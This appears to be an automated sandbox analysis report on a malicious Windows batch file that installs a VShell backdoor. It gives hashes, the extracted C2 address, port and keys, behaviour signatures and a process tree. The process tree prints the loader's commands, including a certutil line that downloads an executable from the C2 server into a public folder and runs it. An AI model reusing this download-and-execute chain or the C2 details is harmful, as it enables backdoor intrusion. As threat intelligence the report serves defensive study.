Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 17:00
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_90f5f326e7758a81414250a4f721f3e92a82b1ba5fd3b11fed96de519aa436b9.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_90f5f326e7758a81414250a4f721f3e92a82b1ba5fd3b11fed96de519aa436b9.bat
- Size 512B
- Sample260910-vh5flssfqd
- SHA256 90f5f326e7758a81414250a4f721f3e92a82b1ba5fd3b11fed96de519aa436b9
- MD5 d2993266a2fcf3e7d0af7d1340f3def5
- SHA1 3e1fe9bedf669827fbc905fcb982acad73f582af
- SHA512 1a0b2bb5d37ee2ccbe4be02bfd36ec9e805bacb3045ccb2572d328142d252fbc2c8b8c445f62cb6823ed1e54c052c47dbdfbf0bace493d98080a0041e851bf4f
- TLSH T1C1F095CD18314EBD0FC5C973F45451867409A0CCCAA195D41B5125DD4D440D832EBB92
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/5784-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 5060 certutil.exe 6 5060 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 5784 eb09ace6tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3156 cmd.exe 4572 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4340 WMIC.exe 4340 WMIC.exe 4340 WMIC.exe 4340 WMIC.exe 5784 eb09ace6tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4340 WMIC.exe Token: SeSecurityPrivilege 4340 WMIC.exe Token: SeTakeOwnershipPrivilege 4340 WMIC.exe Token: SeLoadDriverPrivilege 4340 WMIC.exe Token: SeSystemProfilePrivilege 4340 WMIC.exe Token: SeSystemtimePrivilege 4340 WMIC.exe Token: SeProfSingleProcessPrivilege 4340 WMIC.exe Token: SeIncBasePriorityPrivilege 4340 WMIC.exe Token: SeCreatePagefilePrivilege 4340 WMIC.exe Token: SeBackupPrivilege 4340 WMIC.exe Token: SeRestorePrivilege 4340 WMIC.exe Token: SeShutdownPrivilege 4340 WMIC.exe Token: SeDebugPrivilege 4340 WMIC.exe Token: SeSystemEnvironmentPrivilege 4340 WMIC.exe Token: SeRemoteShutdownPrivilege 4340 WMIC.exe Token: SeUndockPrivilege 4340 WMIC.exe Token: SeManageVolumePrivilege 4340 WMIC.exe Token: 33 4340 WMIC.exe Token: 34 4340 WMIC.exe Token: 35 4340 WMIC.exe Token: 36 4340 WMIC.exe Token: SeIncreaseQuotaPrivilege 4340 WMIC.exe Token: SeSecurityPrivilege 4340 WMIC.exe Token: SeTakeOwnershipPrivilege 4340 WMIC.exe Token: SeLoadDriverPrivilege 4340 WMIC.exe Token: SeSystemProfilePrivilege 4340 WMIC.exe Token: SeSystemtimePrivilege 4340 WMIC.exe Token: SeProfSingleProcessPrivilege 4340 WMIC.exe Token: SeIncBasePriorityPrivilege 4340 WMIC.exe Token: SeCreatePagefilePrivilege 4340 WMIC.exe Token: SeBackupPrivilege 4340 WMIC.exe Token: SeRestorePrivilege 4340 WMIC.exe Token: SeShutdownPrivilege 4340 WMIC.exe Token: SeDebugPrivilege 4340 WMIC.exe Token: SeSystemEnvironmentPrivilege 4340 WMIC.exe Token: SeRemoteShutdownPrivilege 4340 WMIC.exe Token: SeUndockPrivilege 4340 WMIC.exe Token: SeManageVolumePrivilege 4340 WMIC.exe Token: 33 4340 WMIC.exe Token: 34 4340 WMIC.exe Token: 35 4340 WMIC.exe Token: 36 4340 WMIC.exe Token: SeDebugPrivilege 5784 eb09ace6tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3156 wrote to memory of 4572 3156 cmd.exe 90 PID 4572 wrote to memory of 4340 4572 cmd.exe 91 PID 4572 wrote to memory of 6100 4572 cmd.exe 92 PID 3156 wrote to memory of 5060 3156 cmd.exe 94 PID 3156 wrote to memory of 5784 3156 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_90f5f326e7758a81414250a4f721f3e92a82b1ba5fd3b11fed96de519aa436b9.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4572 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4340
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:6100
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\eb09ace6tcp.exe"2⤵
- Downloads MZ/PE file
PID:5060
-
-
C:\Users\Public\eb09ace6tcp.exe"C:\Users\Public\eb09ace6tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5784
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\eb09ace6tcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH